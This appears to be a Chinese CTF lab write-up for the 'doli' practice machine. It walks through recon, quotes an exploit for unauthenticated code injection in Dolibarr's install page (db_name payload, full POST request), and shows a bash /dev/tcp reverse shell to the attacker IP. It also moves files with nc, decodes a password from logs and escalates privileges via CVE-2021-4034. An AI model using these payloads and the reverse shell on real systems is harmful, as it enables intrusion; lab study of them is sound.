0x01 靶机信息
0x02 Write-Up
2.1 信息获取
2.1.1 主机扫描
目标机IP:192.168.181.164
使用nmap工具扫描
nmap -sS -Pn -p- -A -T4 192.168.181.164
-sS 隐蔽扫描,-Pn 禁Ping,-p- 所有端口,-A 综合扫描,-T4 快速扫描
扫描出目标机开放了22和80端口
访问网站显示默认页面,无其他信息
2.1.2 使用Gobuster目录扫描
gobuster dir -u http://192.168.181.164/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dir目录模式,-u指定url,-w指定字典
目录扫描没有结果,考虑域名问题
查阅过后,发现vlunhub上少了一个提示
在/etc/hosts添加doli.thm解析(https://tryhackme.com/r/room/doli)
但是现在访问这个网站会发现这台机器已经被隐藏了
添加解析到hosts文件
访问页面还是一样的,继续爆破
2.1.3 Gobuster爆破子域名
gobuster vhost -u doli.thm -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --append-domain true
vhost虚拟主机模式,类似于dir的遍历,-w指定字典,--append-domain模式启用(用于增加前缀的遍历方式)
发现了erp.doli.thm
添加至hosts并访问
继续尝试目录遍历
gobuster dir -u http://erp.doli.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,asp,md
dir模式 -u 指定url,-w指定字典,-x 指定后缀名
这次遍历有结果了,进行尝试
登录界面(http://erp.doli.thm/document.php)
访问notes.md
# ChangeLog
- Changed The Super-Admin Password To A Super Secure Random 15 Chars Passwd (Done)
- Crypt Saved Passwords Locally
- Add Firewall Rules And Allow Only UDP Incoming-Outcoming At Port 9110
- Add a lockfile (To do)
- Revert The Framework's Patch From 7.0.X To Prevent Conflitions With The Mod (To do)
翻译:
# 变更日志
- 将超级管理员密码更改为超级安全的随机 15 个字符密码(完成)
- 在本地加密保存的密码
- 添加防火墙规则并仅允许端口 9110 上的 UDP 传入-传出
- 添加锁定文件(待办事项)
- 从 7.0.X 恢复框架的补丁以防止与 Mod 发生冲突(待办事项)
从上面得知管理员密码是15个字符,框架是7.0.X
根据作者简介内写的,机器的web部分是采用现实的框架
根据软件名ERP/CRM来搜索得出Dolibarr
2.1.4 利用dolibarr框架漏洞
在kali内部搜索相关漏洞信息
searchsploit dolibarr
发现相关的有两个
第二个尝试性较高,按照内容遍历一下相关目录
/install/step1.php
# Exploit Title: Unauthenticated Remote Code Evaluation in Dolibarr ERP CRM =<7.0.3
# Date: 06/29/2018
# Exploit Author: om3rcitak - https://omercitak.com
# Vendor Homepage: https://dolibarr.org
# Software Link: https://github.com/Dolibarr/dolibarr
# Version: =<7.0.3
# Tested on: Unix, Windows
## Technical Details
URL: http://{domain}/{dolibarr_path}/install/step1.php
Parameter Name: db_name
Parameter Type: POST
Attack Pattern: x\';system($_GET[cmd]);//
## Steps to reproduce the behavior
- Go to fresh install page.
- Click "Next Step" button for create example config file (conf/conf.php)
- Send this request:
POST {dolibarr_path}/install/step1.php HTTP/1.1
Host: {domain}
testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto
- Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd`
## Timeline
- 06/29/2018 18:30 - Found vulnerability.
- 06/29/2018 18:44 - Report vendor.
- 06/29/2018 20:38 - Vulnerability fixed by vendor.
GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032
使用gobuster针对php文件遍历
gobuster dir -u http://erp.doli.thm/install -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
发现疑似目录
根据漏洞文件内容,找到了Fresh install
不过开始之前需要配置kali的mysql服务
systemctl start mysqld
启动mysql服务
允许root远程连接
use mysql;
使用mysql数据库
SELECT User, Password, Host FROM user;
查看数据库当前访问权限信息
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
允许root用户在任意地址访问所有资源,设置密码为root
FLUSH PRIVILEGES;
刷新权限
然后开始配置安装
使用burp截包,修改db_name参数
db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F
注入成功
http://erp.doli.thm/install/Seth.php?cmd=whoami
2.1.5 反弹shell
nc -lvvp 5555
侦听5555端口
使用‘+’替换空格,反弹成功
bash+-c+'bash+-i+>%26+/dev/tcp/192.168.181.165/5555+0>%261'
查找sudo权限文件没有发现,在home目录下找到了三个用户(c3p0,m3dsec,ybenel)
在opt目录下发现了stewie.el文件
(defun main ()
(print "VictoryShallBeMine!"))
(main)
翻译:
胜利就在我面前!
说明这个目录下应该有其他线索
把这个图片复制到install目录下,到浏览器查看
cp ViewMe.png ~/dolibarr/htdocs/intsall/1.png
图片内容是CITRIX,是一种编码格式,联想到notes.md中的(在本地加密保存的密码)
在playboos目录下有一个get_secrets文件,获取密码?
查看日志文件,在nginx下发现了一个隐藏目录.bk
查看access.log.bk文件,发现获取到一串数字,猜测是密码
"GET /5455644852464247526b464a526b4e4254455a435155314752304651516b5a4653554e4453464243526b564a52304e45544564435245314652304a4c5155464754304646526b74425155593d HTTP/1.1"
2.1.6 使用CyberChef解码
拿到CyberChef,第一层16进制转换后,结果是base64编码
解码后浮现出citrix编码
解码显示密码:c3p0p4ssw0rd@@
升级shell会话,尝试登录用户
SHELL=/bin/bash script -q /dev/null
2.1.7 提权用户c3p0
成功登录用户c3p0
tnakt.jpg貌似损坏了,但在目录下的note.txt中发现一段话
ybenel: i love using a dictionary or multiple dictionaries of words in order to create my passwords
翻译:
ybenel:我喜欢使用一本字典或多本单词字典来创建密码
2.1.8 使用linpeas脚本获取信息
暂时没有其他信息了
使用nc上传linpeas脚本跑一遍看看
nc -l 8888 > linpeas.sh
开启8888端口侦听,接收linpeas.sh
nc 192.168.181.164 8888 < linpeas.sh
向目标机IP的8888端口发送文件
传输成功,并给文件执行权限
chmod +x linpeas.sh
2.1.9 利用cve-2021-4034提权
可以看到扫描出很多漏洞信息,由于目标机没有gcc,尝试cve-2021-4034
https://github.com/dadvlingd/CVE-2021-4034
链接中下载python2脚本
使用之前的nc方式传输文件并执行
提权成功